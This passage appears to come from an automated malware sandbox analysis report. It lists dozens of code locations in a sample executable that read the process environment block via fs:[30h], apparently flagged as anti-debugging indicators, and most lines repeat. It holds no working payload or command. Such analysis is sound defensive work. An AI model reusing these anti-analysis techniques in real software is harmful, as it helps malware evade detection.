                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2750 mov eax, dword ptr fs:[00000030h]2_2_014D2750
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2750 mov eax, dword ptr fs:[00000030h]2_2_014D2750
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01498770 mov eax, dword ptr fs:[00000030h]2_2_01498770
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0770 mov eax, dword ptr fs:[00000030h]2_2_014A0770
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0770 mov eax, dword ptr fs:[00000030h]2_2_014A0770
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0770 mov eax, dword ptr fs:[00000030h]2_2_014A0770
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0770 mov eax, dword ptr fs:[00000030h]2_2_014A0770
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0770 mov eax, dword ptr fs:[00000030h]2_2_014A0770
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0770 mov eax, dword ptr fs:[00000030h]2_2_014A0770
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0770 mov eax, dword ptr fs:[00000030h]2_2_014A0770
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0770 mov eax, dword ptr fs:[00000030h]2_2_014A0770
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0770 mov eax, dword ptr fs:[00000030h]2_2_014A0770
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0770 mov eax, dword ptr fs:[00000030h]2_2_014A0770
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0770 mov eax, dword ptr fs:[00000030h]2_2_014A0770
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0770 mov eax, dword ptr fs:[00000030h]2_2_014A0770
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CC700 mov eax, dword ptr fs:[00000030h]2_2_014CC700
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01490710 mov eax, dword ptr fs:[00000030h]2_2_01490710
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C0710 mov eax, dword ptr fs:[00000030h]2_2_014C0710
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150C730 mov eax, dword ptr fs:[00000030h]2_2_0150C730
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CC720 mov eax, dword ptr fs:[00000030h]2_2_014CC720
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CC720 mov eax, dword ptr fs:[00000030h]2_2_014CC720
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C273C mov eax, dword ptr fs:[00000030h]2_2_014C273C
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C273C mov ecx, dword ptr fs:[00000030h]2_2_014C273C
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C273C mov eax, dword ptr fs:[00000030h]2_2_014C273C
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149C7C0 mov eax, dword ptr fs:[00000030h]2_2_0149C7C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015107C3 mov eax, dword ptr fs:[00000030h]2_2_015107C3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B27ED mov eax, dword ptr fs:[00000030h]2_2_014B27ED
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B27ED mov eax, dword ptr fs:[00000030h]2_2_014B27ED
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B27ED mov eax, dword ptr fs:[00000030h]2_2_014B27ED
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151E7E1 mov eax, dword ptr fs:[00000030h]2_2_0151E7E1
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014947FB mov eax, dword ptr fs:[00000030h]2_2_014947FB
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014947FB mov eax, dword ptr fs:[00000030h]2_2_014947FB
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153678E mov eax, dword ptr fs:[00000030h]2_2_0153678E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014907AF mov eax, dword ptr fs:[00000030h]2_2_014907AF
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015447A0 mov eax, dword ptr fs:[00000030h]2_2_015447A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014AC640 mov eax, dword ptr fs:[00000030h]2_2_014AC640
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CA660 mov eax, dword ptr fs:[00000030h]2_2_014CA660
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CA660 mov eax, dword ptr fs:[00000030h]2_2_014CA660
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C2674 mov eax, dword ptr fs:[00000030h]2_2_014C2674
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155866E mov eax, dword ptr fs:[00000030h]2_2_0155866E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155866E mov eax, dword ptr fs:[00000030h]2_2_0155866E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A260B mov eax, dword ptr fs:[00000030h]2_2_014A260B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A260B mov eax, dword ptr fs:[00000030h]2_2_014A260B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A260B mov eax, dword ptr fs:[00000030h]2_2_014A260B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A260B mov eax, dword ptr fs:[00000030h]2_2_014A260B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A260B mov eax, dword ptr fs:[00000030h]2_2_014A260B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A260B mov eax, dword ptr fs:[00000030h]2_2_014A260B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A260B mov eax, dword ptr fs:[00000030h]2_2_014A260B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D2619 mov eax, dword ptr fs:[00000030h]2_2_014D2619
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150E609 mov eax, dword ptr fs:[00000030h]2_2_0150E609
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149262C mov eax, dword ptr fs:[00000030h]2_2_0149262C
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C6620 mov eax, dword ptr fs:[00000030h]2_2_014C6620
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C8620 mov eax, dword ptr fs:[00000030h]2_2_014C8620
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014AE627 mov eax, dword ptr fs:[00000030h]2_2_014AE627
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CA6C7 mov ebx, dword ptr fs:[00000030h]2_2_014CA6C7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CA6C7 mov eax, dword ptr fs:[00000030h]2_2_014CA6C7
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015106F1 mov eax, dword ptr fs:[00000030h]2_2_015106F1
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015106F1 mov eax, dword ptr fs:[00000030h]2_2_015106F1
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150E6F2 mov eax, dword ptr fs:[00000030h]2_2_0150E6F2
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150E6F2 mov eax, dword ptr fs:[00000030h]2_2_0150E6F2
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150E6F2 mov eax, dword ptr fs:[00000030h]2_2_0150E6F2
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150E6F2 mov eax, dword ptr fs:[00000030h]2_2_0150E6F2
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01494690 mov eax, dword ptr fs:[00000030h]2_2_01494690
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01494690 mov eax, dword ptr fs:[00000030h]2_2_01494690
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CC6A6 mov eax, dword ptr fs:[00000030h]2_2_014CC6A6
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C66B0 mov eax, dword ptr fs:[00000030h]2_2_014C66B0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01564940 mov eax, dword ptr fs:[00000030h]2_2_01564940
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01510946 mov eax, dword ptr fs:[00000030h]2_2_01510946
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D096E mov eax, dword ptr fs:[00000030h]2_2_014D096E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D096E mov edx, dword ptr fs:[00000030h]2_2_014D096E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D096E mov eax, dword ptr fs:[00000030h]2_2_014D096E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B6962 mov eax, dword ptr fs:[00000030h]2_2_014B6962
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B6962 mov eax, dword ptr fs:[00000030h]2_2_014B6962
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B6962 mov eax, dword ptr fs:[00000030h]2_2_014B6962
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01534978 mov eax, dword ptr fs:[00000030h]2_2_01534978
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01534978 mov eax, dword ptr fs:[00000030h]2_2_01534978
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151C97C mov eax, dword ptr fs:[00000030h]2_2_0151C97C
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151C912 mov eax, dword ptr fs:[00000030h]2_2_0151C912
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01488918 mov eax, dword ptr fs:[00000030h]2_2_01488918
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01488918 mov eax, dword ptr fs:[00000030h]2_2_01488918
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150E908 mov eax, dword ptr fs:[00000030h]2_2_0150E908
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150E908 mov eax, dword ptr fs:[00000030h]2_2_0150E908
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0152892B mov eax, dword ptr fs:[00000030h]2_2_0152892B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151892A mov eax, dword ptr fs:[00000030h]2_2_0151892A
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155A9D3 mov eax, dword ptr fs:[00000030h]2_2_0155A9D3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015269C0 mov eax, dword ptr fs:[00000030h]2_2_015269C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A9D0 mov eax, dword ptr fs:[00000030h]2_2_0149A9D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A9D0 mov eax, dword ptr fs:[00000030h]2_2_0149A9D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A9D0 mov eax, dword ptr fs:[00000030h]2_2_0149A9D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A9D0 mov eax, dword ptr fs:[00000030h]2_2_0149A9D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A9D0 mov eax, dword ptr fs:[00000030h]2_2_0149A9D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149A9D0 mov eax, dword ptr fs:[00000030h]2_2_0149A9D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C49D0 mov eax, dword ptr fs:[00000030h]2_2_014C49D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151E9E0 mov eax, dword ptr fs:[00000030h]2_2_0151E9E0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C29F9 mov eax, dword ptr fs:[00000030h]2_2_014C29F9
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C29F9 mov eax, dword ptr fs:[00000030h]2_2_014C29F9
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015189B3 mov esi, dword ptr fs:[00000030h]2_2_015189B3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015189B3 mov eax, dword ptr fs:[00000030h]2_2_015189B3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015189B3 mov eax, dword ptr fs:[00000030h]2_2_015189B3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014909AD mov eax, dword ptr fs:[00000030h]2_2_014909AD
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014909AD mov eax, dword ptr fs:[00000030h]2_2_014909AD
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A29A0 mov eax, dword ptr fs:[00000030h]2_2_014A29A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A29A0 mov eax, dword ptr fs:[00000030h]2_2_014A29A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A29A0 mov eax, dword ptr fs:[00000030h]2_2_014A29A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A29A0 mov eax, dword ptr fs:[00000030h]2_2_014A29A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A29A0 mov eax, dword ptr fs:[00000030h]2_2_014A29A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A29A0 mov eax, dword ptr fs:[00000030h]2_2_014A29A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A29A0 mov eax, dword ptr fs:[00000030h]2_2_014A29A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A29A0 mov eax, dword ptr fs:[00000030h]2_2_014A29A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A29A0 mov eax, dword ptr fs:[00000030h]2_2_014A29A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A29A0 mov eax, dword ptr fs:[00000030h]2_2_014A29A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A29A0 mov eax, dword ptr fs:[00000030h]2_2_014A29A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A29A0 mov eax, dword ptr fs:[00000030h]2_2_014A29A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A29A0 mov eax, dword ptr fs:[00000030h]2_2_014A29A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A2840 mov ecx, dword ptr fs:[00000030h]2_2_014A2840
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01494859 mov eax, dword ptr fs:[00000030h]2_2_01494859
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01494859 mov eax, dword ptr fs:[00000030h]2_2_01494859
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C0854 mov eax, dword ptr fs:[00000030h]2_2_014C0854
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01526870 mov eax, dword ptr fs:[00000030h]2_2_01526870
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01526870 mov eax, dword ptr fs:[00000030h]2_2_01526870
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151E872 mov eax, dword ptr fs:[00000030h]2_2_0151E872
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151E872 mov eax, dword ptr fs:[00000030h]2_2_0151E872
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151C810 mov eax, dword ptr fs:[00000030h]2_2_0151C810
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153483A mov eax, dword ptr fs:[00000030h]2_2_0153483A
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153483A mov eax, dword ptr fs:[00000030h]2_2_0153483A
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CA830 mov eax, dword ptr fs:[00000030h]2_2_014CA830
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B2835 mov eax, dword ptr fs:[00000030h]2_2_014B2835
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B2835 mov eax, dword ptr fs:[00000030h]2_2_014B2835
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B2835 mov eax, dword ptr fs:[00000030h]2_2_014B2835
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B2835 mov ecx, dword ptr fs:[00000030h]2_2_014B2835
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B2835 mov eax, dword ptr fs:[00000030h]2_2_014B2835
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B2835 mov eax, dword ptr fs:[00000030h]2_2_014B2835
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BE8C0 mov eax, dword ptr fs:[00000030h]2_2_014BE8C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015608C0 mov eax, dword ptr fs:[00000030h]2_2_015608C0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155A8E4 mov eax, dword ptr fs:[00000030h]2_2_0155A8E4
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CC8F9 mov eax, dword ptr fs:[00000030h]2_2_014CC8F9
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CC8F9 mov eax, dword ptr fs:[00000030h]2_2_014CC8F9
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151C89D mov eax, dword ptr fs:[00000030h]2_2_0151C89D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01490887 mov eax, dword ptr fs:[00000030h]2_2_01490887
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01562B57 mov eax, dword ptr fs:[00000030h]2_2_01562B57
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01562B57 mov eax, dword ptr fs:[00000030h]2_2_01562B57
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01562B57 mov eax, dword ptr fs:[00000030h]2_2_01562B57
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01562B57 mov eax, dword ptr fs:[00000030h]2_2_01562B57
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153EB50 mov eax, dword ptr fs:[00000030h]2_2_0153EB50
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01538B42 mov eax, dword ptr fs:[00000030h]2_2_01538B42
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01526B40 mov eax, dword ptr fs:[00000030h]2_2_01526B40
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01526B40 mov eax, dword ptr fs:[00000030h]2_2_01526B40
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155AB40 mov eax, dword ptr fs:[00000030h]2_2_0155AB40
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01488B50 mov eax, dword ptr fs:[00000030h]2_2_01488B50
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01544B4B mov eax, dword ptr fs:[00000030h]2_2_01544B4B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01544B4B mov eax, dword ptr fs:[00000030h]2_2_01544B4B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148CB7E mov eax, dword ptr fs:[00000030h]2_2_0148CB7E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150EB1D mov eax, dword ptr fs:[00000030h]2_2_0150EB1D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150EB1D mov eax, dword ptr fs:[00000030h]2_2_0150EB1D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150EB1D mov eax, dword ptr fs:[00000030h]2_2_0150EB1D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150EB1D mov eax, dword ptr fs:[00000030h]2_2_0150EB1D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150EB1D mov eax, dword ptr fs:[00000030h]2_2_0150EB1D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150EB1D mov eax, dword ptr fs:[00000030h]2_2_0150EB1D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150EB1D mov eax, dword ptr fs:[00000030h]2_2_0150EB1D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150EB1D mov eax, dword ptr fs:[00000030h]2_2_0150EB1D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150EB1D mov eax, dword ptr fs:[00000030h]2_2_0150EB1D
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01564B00 mov eax, dword ptr fs:[00000030h]2_2_01564B00
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BEB20 mov eax, dword ptr fs:[00000030h]2_2_014BEB20
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BEB20 mov eax, dword ptr fs:[00000030h]2_2_014BEB20
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01558B28 mov eax, dword ptr fs:[00000030h]2_2_01558B28
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01558B28 mov eax, dword ptr fs:[00000030h]2_2_01558B28
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B0BCB mov eax, dword ptr fs:[00000030h]2_2_014B0BCB
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B0BCB mov eax, dword ptr fs:[00000030h]2_2_014B0BCB
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B0BCB mov eax, dword ptr fs:[00000030h]2_2_014B0BCB
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153EBD0 mov eax, dword ptr fs:[00000030h]2_2_0153EBD0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01490BCD mov eax, dword ptr fs:[00000030h]2_2_01490BCD
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01490BCD mov eax, dword ptr fs:[00000030h]2_2_01490BCD
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01490BCD mov eax, dword ptr fs:[00000030h]2_2_01490BCD
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151CBF0 mov eax, dword ptr fs:[00000030h]2_2_0151CBF0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BEBFC mov eax, dword ptr fs:[00000030h]2_2_014BEBFC
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01498BF0 mov eax, dword ptr fs:[00000030h]2_2_01498BF0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01498BF0 mov eax, dword ptr fs:[00000030h]2_2_01498BF0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01498BF0 mov eax, dword ptr fs:[00000030h]2_2_01498BF0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01544BB0 mov eax, dword ptr fs:[00000030h]2_2_01544BB0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01544BB0 mov eax, dword ptr fs:[00000030h]2_2_01544BB0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0BBE mov eax, dword ptr fs:[00000030h]2_2_014A0BBE
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0BBE mov eax, dword ptr fs:[00000030h]2_2_014A0BBE
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0A5B mov eax, dword ptr fs:[00000030h]2_2_014A0A5B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014A0A5B mov eax, dword ptr fs:[00000030h]2_2_014A0A5B
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01496A50 mov eax, dword ptr fs:[00000030h]2_2_01496A50
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01496A50 mov eax, dword ptr fs:[00000030h]2_2_01496A50
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01496A50 mov eax, dword ptr fs:[00000030h]2_2_01496A50
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01496A50 mov eax, dword ptr fs:[00000030h]2_2_01496A50
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01496A50 mov eax, dword ptr fs:[00000030h]2_2_01496A50
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01496A50 mov eax, dword ptr fs:[00000030h]2_2_01496A50
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01496A50 mov eax, dword ptr fs:[00000030h]2_2_01496A50
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150CA72 mov eax, dword ptr fs:[00000030h]2_2_0150CA72
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150CA72 mov eax, dword ptr fs:[00000030h]2_2_0150CA72
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CCA6F mov eax, dword ptr fs:[00000030h]2_2_014CCA6F
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CCA6F mov eax, dword ptr fs:[00000030h]2_2_014CCA6F
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CCA6F mov eax, dword ptr fs:[00000030h]2_2_014CCA6F
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153EA60 mov eax, dword ptr fs:[00000030h]2_2_0153EA60
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151CA11 mov eax, dword ptr fs:[00000030h]2_2_0151CA11
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BEA2E mov eax, dword ptr fs:[00000030h]2_2_014BEA2E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CCA24 mov eax, dword ptr fs:[00000030h]2_2_014CCA24
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CCA38 mov eax, dword ptr fs:[00000030h]2_2_014CCA38
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B4A35 mov eax, dword ptr fs:[00000030h]2_2_014B4A35
